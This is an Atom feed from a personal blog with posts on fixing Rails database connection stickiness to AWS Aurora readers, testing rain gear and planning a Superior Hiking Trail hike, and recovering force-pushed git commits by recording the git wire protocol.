<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
 <title>Philip Corliss</title>
 <link href="https://blog.50projects.com/" rel="self"/>
 <link href="https://blog.50projects.com"/>
 <updated>2023-11-02T18:49:44+00:00</updated>
 <id>https://blog.50projects.com</id>
 <author>
   <name>Philip Corliss</name>
   <email>pcorliss@gmail.com</email>
 </author>

 
 <entry>
   <title>Fixing Rails Connection Stickiness to Aurora</title>
   <link href="https://blog.50projects.com/2023/04/fixing-rails-stickiness.html"/>
   <updated>2023-04-04T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2023/04/fixing-rails-stickiness</id>
   <content type="html">
&lt;p&gt;&lt;img src=&quot;/images/AWS_RDS_CPU_Usage.png&quot; alt=&quot;AWS Aurora CPU Usage&quot; width=&quot;400&quot; align=&quot;right&quot; style=&quot;margin-left: 25px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;“Why is one of our reader instances taking all the load?”&lt;/em&gt; I asked myself one Friday afternoon at work.&lt;/p&gt;

&lt;p&gt;The green line represents the current reader CPU usage, while the blue line represents the reader instance that automatically scaled up an hour ago.&lt;/p&gt;

&lt;h2 id=&quot;checking-assumptions&quot;&gt;Checking Assumptions&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/images/itsnotdns.jpg&quot; alt=&quot;It's Not DNS, There's no way it's DNS, It was DNS&quot; width=&quot;300&quot; align=&quot;left&quot; style=&quot;margin-right: 25px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;My coworker helpfully chimed in with the always useful haiku to help me focus on the important things.&lt;/p&gt;

&lt;p&gt;Clearly something is wrong here, I started double checking assumptions.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;AWS Aurora is a managed database, providing us with a PostgreSQL compatible interface.&lt;/li&gt;
  &lt;li&gt;AWS Aurora provides auto-scaled reader databases. Scaling up when usage is high and down when usage is low.&lt;/li&gt;
  &lt;li&gt;AWS Aurora uses two endpoints, a reader and writer endpoint.&lt;/li&gt;
  &lt;li&gt;The reader endpoints use round-robin load balancing via DNS.&lt;/li&gt;
  &lt;li&gt;Our production web workers are configured to connect to the reader endpoint for read-only queries.&lt;/li&gt;
  &lt;li&gt;Restarting our web workers appears to redistribute load evenly again and we’re able to mitigate the hot-spotting when it comes up.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;so-why-are-we-seeing-stickiness&quot;&gt;So why are we seeing stickiness?&lt;/h2&gt;

&lt;p&gt;When I run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netstat -an | grep ':5432'&lt;/code&gt; to see open PostgreSQL connections I see about 90% of requests stuck to one of the readers. A handful of our web workers are connected to the other readers. This seems to make sense because sometimes a web worker will timeout and automatically get restarted. This seems to force a fresh connection. We see the same behavior during a deploy or manual restart of our web workers.&lt;/p&gt;

&lt;p&gt;We currently monkey-patch the &lt;a href=&quot;https://github.com/rails/rails/blob/bc2f390f7d2a96030532f41c08205f159e05af10/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L273-L280&quot;&gt;PostgreSQLAdapter#active?&lt;/a&gt; method to expire our connections periodically to help with failover events.
A naive read of it indicated that it should force a reconnection every few minutes or so and that was indeed working. Further digging discovered that it was resetting the initial PG::Connection object in the connection pool rather than reaping the connection and creating a fresh one. Lastly the &lt;a href=&quot;https://github.com/ged/ruby-pg/blob/382536b03dfea39be6d525603f5b189019ccd315/lib/pg/connection.rb#L527-L531&quot;&gt;PG::Connection#reset&lt;/a&gt; method doesn’t force DNS to resolve again. Ooof!&lt;/p&gt;

&lt;h2 id=&quot;how-activerecord-connections-work&quot;&gt;How ActiveRecord Connections Work&lt;/h2&gt;

&lt;p&gt;On the first ActiveRecord request, something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User.first&lt;/code&gt;, a new connection is checked out or created from the connection pool. On checkout the connection is verified. Even in single threaded workloads, like Unicorn, a pool is maintained, although with typically only a single connection.&lt;/p&gt;

&lt;p&gt;Below are the relevant code snippets from the &lt;a href=&quot;https://github.com/rails/rails/tree/6-1-stable/activerecord/lib/active_record&quot;&gt;Rails 6.1 branch of ActiveRecord&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Check-out a database connection from the pool, indicating that you want&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# to use it. You should call #checkin when you no longer need this.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# This is done by either returning and leasing existing connection, or by&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# creating a new connection and leasing it.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# If all connections are leased and the pool is at capacity (meaning the&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# number of currently leased connections is greater than or equal to the&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# size limit set), an ActiveRecord::ConnectionTimeoutError exception will be raised.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Returns: an AbstractAdapter object.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Raises:&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# - ActiveRecord::ConnectionTimeoutError no connection can be obtained from the pool.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;checkout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;checkout_timeout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@checkout_timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;checkout_and_verify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;acquire_connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;checkout_timeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/rails/rails/blob/bc2f390f7d2a96030532f41c08205f159e05af10/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb#L573-L589&quot;&gt;source&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Checks whether the connection to the database is still active (i.e. not stale).&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# This is done under the hood by calling #active?. If the connection&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# is no longer active, then this method will reconnect to the database.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;verify!&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;reconnect!&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;active?&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/rails/rails/blob/bc2f390f7d2a96030532f41c08205f159e05af10/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb#L529-L534&quot;&gt;source&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We had monkeypatched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;active?&lt;/code&gt; to expire a connection after a few minutes which only succeeded in resetting the connection instead of performing a true reconnect. The following code in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PostgreSQLAdapter&lt;/code&gt; shows why.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Close then reopen the connection.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reconnect!&lt;/span&gt;
  &lt;span class=&quot;vi&quot;&gt;@lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;synchronize&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;super&lt;/span&gt;
    &lt;span class=&quot;vi&quot;&gt;@connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reset&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;configure_connection&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;rescue&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ConnectionBad&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/rails/rails/blob/bc2f390f7d2a96030532f41c08205f159e05af10/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L282-L291&quot;&gt;source&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;what-did-work&quot;&gt;What Did Work&lt;/h2&gt;

&lt;p&gt;We used the following monkey-patch to force a true reconnection and force a new DNS resolution to occur. The random interval for expiry prevents multiple reconnects from all occuring at the same time.&lt;/p&gt;

&lt;div class=&quot;language-ruby highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ActiveRecord&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ConnectionAdapters&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PostgreSQLAdapter&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;AbstractAdapter&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;expired?&lt;/span&gt;
        &lt;span class=&quot;vi&quot;&gt;@expired&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;rand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;5.0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;10.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;minutes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_now&lt;/span&gt;
        &lt;span class=&quot;vi&quot;&gt;@expired&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;current&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;active?&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;expired?&lt;/span&gt;
        &lt;span class=&quot;vi&quot;&gt;@lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;synchronize&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
          &lt;span class=&quot;vi&quot;&gt;@connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT 1&quot;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
        &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;rescue&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Error&lt;/span&gt;
        &lt;span class=&quot;kp&quot;&gt;false&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

      &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reconnect!&lt;/span&gt;
        &lt;span class=&quot;vi&quot;&gt;@lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;synchronize&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;super&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;disconnect!&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;
          &lt;span class=&quot;vi&quot;&gt;@expired&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;nil&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;rescue&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ConnectionBad&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the process of fixing this we uncovered that since the connections weren’t being destroyed as expected we were seeing a connection reset on every connection checkout 😅. On resetting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@expired&lt;/code&gt; after a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reconnect!&lt;/code&gt; we saw an immediate improvement in median response time from 42ms down to about 17ms. Not enough to be noticeable but every ms counts!&lt;/p&gt;

&lt;h2 id=&quot;next-steps&quot;&gt;Next Steps&lt;/h2&gt;

&lt;p&gt;Breaking the above out into a new adapter that inherits from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PostgreSQLAdapter&lt;/code&gt; might be cleaner than monkey-patching. Perhaps even adding a configuration option and trying to get it merged in as a feature to ActiveRecord. Overall the above was working well for us and we started seeing immediate relief.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Superior Hiking Trail - Rain Gear</title>
   <link href="https://blog.50projects.com/2016/05/superior-hiking-trail-rain-gear.html"/>
   <updated>2016-05-30T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2016/05/superior-hiking-trail-rain-gear</id>
   <content type="html">
&lt;p&gt;&lt;a href=&quot;/images/NewRainGear.jpg&quot;&gt;&lt;img align=&quot;right&quot; alt=&quot;New Rain Gear&quot; style=&quot;width:200px&quot; src=&quot;/images/NewRainGear.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I was fortunate to find the &lt;a href=&quot;https://marmot.com/products/details/precip-jacket-new&quot;&gt;Marmot PreCip&lt;/a&gt; jacket and pants on sale and picked them both up. &lt;a href=&quot;http://www.outdoorgearlab.com/Rain-Jacket-Reviews/Marmot-PreCip&quot;&gt;Reviewers give it high marks&lt;/a&gt; and inexpensive is a combination I can’t resist.&lt;/p&gt;

&lt;p&gt;Shortly after I picked it up we had a perfect Saturday here in Chicago. My SO was at work, the temps were above freezing, the wind was blowing, and it was raining.&lt;/p&gt;

&lt;p&gt;I’m sure I looked a bit odd trudging up the &lt;a href=&quot;http://www.choosechicago.com/articles/view/THE-LAKEFRONT-TRAIL/454/&quot;&gt;Lakefront Trail&lt;/a&gt; in the rain with a pack on my back but it needed to be done for SCIENCE!&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/RainyDay.png&quot;&gt;&lt;img align=&quot;left&quot; alt=&quot;Forecast.io April 30th Chicago&quot; style=&quot;width:200px&quot; src=&quot;/images/RainyDay.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;14-miles there and back, it was a good test. I ended up staying mostly dry. The places I ended up getting wet were my &lt;a href=&quot;http://www.amazon.com/Saucony-Peregrine-Trail-Running-Yellow/dp/B00KPU4MSQ?ie=UTF8&amp;amp;psc=1&amp;amp;redirect=true&amp;amp;ref_=oh_aui_search_detailpage&quot;&gt;trail runners&lt;/a&gt;, which aren’t supposed to be waterproof, but did drain well. I neglected to bring gloves and ended up with some wet and cold hands. I also left my waterproof pants back pocket unzipped, didn’t realize it until I got home, and found the right-side of my rear-end soaked.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/RainGearTest.jpg&quot;&gt;&lt;img align=&quot;right&quot; alt=&quot;At the end of the trail.&quot; style=&quot;width:200px&quot; src=&quot;/images/RainGearTest.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I did find out that my &lt;a href=&quot;http://www.granitegear.com/crown-v-c-60.html&quot;&gt;pack&lt;/a&gt; is definitely not waterproof. It even collected a couple of inches of water on the inside which I had to pour out in the sink. I’ve obtained a waterproof pack cover which should fix that problem up.&lt;/p&gt;

&lt;p&gt;Here’s hoping my trip on the Superior Hiking Trail will be clear and dry, but if it isn’t at least I know I’ll be prepared.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Superior Hiking Trail - Intro & Gear</title>
   <link href="https://blog.50projects.com/2016/05/superior-hiking-trail.html"/>
   <updated>2016-05-08T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2016/05/superior-hiking-trail</id>
   <content type="html">
&lt;p&gt;&lt;a href=&quot;https://www.flickr.com/photos/northwesternimages/7718097420&quot;&gt;&lt;img align=&quot;right&quot; alt=&quot;Ascending Rock Pass, Pacific Crest Trail, Pasayten Wilderness by andy porter (cc by-nc 2.0)&quot; src=&quot;https://farm9.staticflickr.com/8284/7718097420_a996fec69d_n.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few months ago I was captivated by a reddit IAMA &lt;a href=&quot;https://www.reddit.com/r/videos/comments/48rv22/last_year_i_quit_my_job_in_order_to_walk_the_2650/&quot;&gt;Last year I quit my job in order to walk the 2650 mile PCT&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The idea of travel makes me anxious: too many people, being unable to speak the language, etc… But the idea of lots of solitary time, getting daily exercise, seeing the stars without &lt;a href=&quot;http://darksitefinder.com/maps/world.html&quot;&gt;light pollution&lt;/a&gt;, and some of the most striking scenery that the US has to offer.&lt;/p&gt;

&lt;h3 id=&quot;a-few-wrinkles&quot;&gt;A Few Wrinkles:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;I like my job, and don’t feel too keen on leaving.&lt;/li&gt;
  &lt;li&gt;I don’t think I’m quite up to the task of spending 4 months backpacking without a test run.&lt;/li&gt;
  &lt;li&gt;All of my gear is from my time in the Boy Scouts, sized for an adolescent, and about 19 years old.&lt;/li&gt;
  &lt;li&gt;What if nostalgia is clouding my memory of backpacking?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://flic.kr/p/pBuGwo&quot;&gt;&lt;img align=&quot;left&quot; style=&quot;margin-right: 10px&quot; alt=&quot;Section 13, Superior Hiking Trail by NatureNerd (CC BY-NC 2.0)&quot; src=&quot;https://farm3.staticflickr.com/2948/15497882482_48570acf27_n.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Clearly a test-hike is in order. The Chicago area, while largely flat, isn’t much for long wilderness trails. But a short plane ride away is Minnesota and the &lt;a href=&quot;http://www.shta.org/&quot;&gt;Superior Hiking Trail&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The trail is 251 miles, from Duluth to the Canadian border along Lake Superior’s coast. Roughly 2-weeks of hiking 20 miles a day, a resupply or two part way through, and I can call myself adequately prepared for something more ambitious.&lt;/p&gt;

&lt;p&gt;As a Boy Scout I was packing 40-50 lbs up and down the mountains of the Pacific Northwest. The longest hike I went on was a 9-day 63 mile hike around the Pasayten Wilderness. I’m in better shape as an adult than I was as a kid. Technology has advanced such that a base-weight of 10-15lbs is now possible. I’ll be fighting 35-year-old-knees but I like my odds.&lt;/p&gt;

&lt;h3 id=&quot;new-gear&quot;&gt;New Gear&lt;/h3&gt;

&lt;p&gt;Mobile phones were available when I was backpacking. But typically service was unavailable until you got back to the trail-head. Now smart phones offer GPS, maps, compass, still photos, and video recording. But powering all that on a long-distance hike can be a challenge.&lt;/p&gt;

&lt;p&gt;Enter the &lt;a href=&quot;http://www.amazon.com/AmazonBasics-Portable-Power-Bank-100/dp/B00ZQ4JQAA?ie=UTF8&amp;amp;psc=1&amp;amp;redirect=true&amp;amp;ref_=oh_aui_detailpage_o03_s00&quot;&gt;16,100 mAh AmazonBasics Portable Power Bank&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It managed to fully recharge my iPhone from a normal day’s usage (50%) 8 times. With low-power and airplane-mode I’m certain I can stretch that to two full weeks. At 12.6 oz it’s heavy but well worth the piece of mind.&lt;/p&gt;

&lt;p&gt;I’ll be posting periodic updates as I acquire and test new gear, Get my inventory together and firm up my plans.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Recovering Git Commits</title>
   <link href="https://blog.50projects.com/2014/12/recovering-git-commits.html"/>
   <updated>2014-12-10T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/12/recovering-git-commits</id>
   <content type="html">
&lt;h3 id=&quot;tldr-dont-force-push-but-if-you-do-you-can-get-around-the-damage&quot;&gt;TLDR: Don’t force push. But if you do you can get around the damage.&lt;/h3&gt;

&lt;p&gt;If you’ve ever accidentally force pushed something you understand the sinking feeling in your stomach as you desperately try and figure out how to recover from the error.
Often times it’s possible to utilize the &lt;a href=&quot;http://git-scm.com/docs/git-reflog&quot;&gt;reflog&lt;/a&gt;, find the local commit, and tag or reference it in someway to avoid garbage collection and losing the work forever.&lt;/p&gt;

&lt;p&gt;In my case while doing some research for a project I noted that there was no way with a stock git client to recover from a force push if it no longer exists locally and isn’t referenced on a remote.
In cases like the unfortunate &lt;a href=&quot;https://news.ycombinator.com/item?id=6713742&quot;&gt;Jenkins incident&lt;/a&gt; this sort of thing would require intervention by &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt; Staff.&lt;/p&gt;

&lt;p&gt;Curious I started looking for a way to do this manually via the git client, direct manipulation of git references, and finally hand-crafted calls over the wire.&lt;/p&gt;

&lt;h2 id=&quot;setup&quot;&gt;Setup&lt;/h2&gt;

&lt;p&gt;I started with an empty repository on &lt;a href=&quot;https://bitbucket.org/pcorliss/force-push-testing&quot;&gt;BitBucket&lt;/a&gt;.
A few test commits were added, followed by a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git reset --hard HEAD~1&lt;/code&gt;, another commit, and then a force push.
On both &lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt; and &lt;a href=&quot;https://bitbucket.org&quot;&gt;Bitbucket&lt;/a&gt; &lt;a href=&quot;https://bitbucket.org/pcorliss/force-push-testing/src/74b66b74321dd6e88a1fca05b728b39d0ec33ebc&quot;&gt;the commit&lt;/a&gt; will still be visible via the web GUI but because it’s no longer referenced via the history of any tags or branches it’s now completely inaccessible to other clients besides my own.
Even &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git clone --mirror&lt;/code&gt; ignores dangling commits.
Normally either you or someone in your organization would have the previous commit locally and could add a tag.
But if no one else is available and you don’t have the commit locally you’ll be out of luck.&lt;/p&gt;

&lt;h2 id=&quot;git-wire-protocol&quot;&gt;Git Wire Protocol&lt;/h2&gt;

&lt;p&gt;Git provides some nice debugging tools which allow you to take a peek at the various commands being sent over the wire. I use the following alias to turn them all on at once.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;alias git_debug='export GIT_TRACE_PACKET=1 GIT_CURL_VERBOSE=1 GIT_TRANSPORT_HELPER_DEBUG=1 GIT_DEBUG_SEND_PACK=1 GIT_TRACE=1'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output looks something like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pcorliss.github.com $ git fetch
trace: built-in: git 'fetch'
trace: run_command: 'ssh' 'git@github.com' 'git-upload-pack '\''pcorliss/pcorliss.github.com.git'\'''
packet:        fetch&amp;lt; 428b2a372495666ecde7f8c1557365a8e7c2ccd3 HEAD\0multi_ack thin-pack side-band side-band-64k ofs-delta shallow no-progress include-tag multi_ack_detailed symref=HEAD:refs/heads/master agent=git/2:2.1.3+github-642-g667ea60
packet:        fetch&amp;lt; 428b2a372495666ecde7f8c1557365a8e7c2ccd3 refs/heads/master
packet:        fetch&amp;lt; 0000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While this provided some nice clues on how git connects and sends commands it obfuscated important parts of the protocol including signatures and pack file generation and formatting.&lt;/p&gt;

&lt;h2 id=&quot;ssh-proxy&quot;&gt;SSH Proxy&lt;/h2&gt;

&lt;p&gt;The only way to get around this was to build a proxy with which GIT would connect through and allow me to see and record the raw IO.
Git provides an environment variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GIT_SSH&lt;/code&gt; you can set which makes building a program to intercept the traffic a little bit easier.&lt;/p&gt;

&lt;p&gt;After quite a bit of trial and error I built &lt;a href=&quot;https://github.com/pcorliss/git_ssh_proxy&quot;&gt;git_ssh_proxy&lt;/a&gt; to intercept and record the traffic coming from git.&lt;/p&gt;

&lt;p&gt;A sample of the output recorded from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push --tags&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CMD ssh -x git@bitbucket.org git-receive-pack 'pcorliss/force-push-testing.git'
STDOUT 008841abcee85021a3b08de5d73492ead4612afa4690 refs/heads/master^@ report-status delete-refs side-band-64k quiet ofs-delta agent=git/2.1.1
STDOUT 003d7953b561d6ebab069442e51440d3dc05a18ab20c refs/tags/fubar
STDOUT 003b501dd68b248d636c2a040949fe83c27119ce228c refs/tags/iii
STDOUT 0000 NOBREAK
STDIN 009e0000000000000000000000000000000000000000^@ 4b55fc9b074e6e34c1458e32ababba8d4565cafb refs/tags/dangling_commit_X report-status side-band-64k agent=git/2.0.00000 NOBREAK
STDIN PACK....RAW BYTES EXCLUDED FOR READABILITY..... NOBREAK
ERROR STDIN EOF:  String 0
STDOUT 003a^A000eunpack ok
STDOUT 0023ok refs/tags/dangling_commit_X
ERROR stdout EOF
ERROR stderr EOF
SYS pid 42668 exit 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Initially I had tried to hand-craft the input but that proved difficult for two reasons.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Each line is preceded by the hex encoded length of the command&lt;/li&gt;
  &lt;li&gt;Push commands send up compressed binary data in &lt;a href=&quot;https://www.kernel.org/pub/software/scm/git/docs/technical/pack-format.txt&quot;&gt;packfile format&lt;/a&gt;. Even empty pack data lines contain a signature with binary data.&lt;/li&gt;
&lt;/ol&gt;

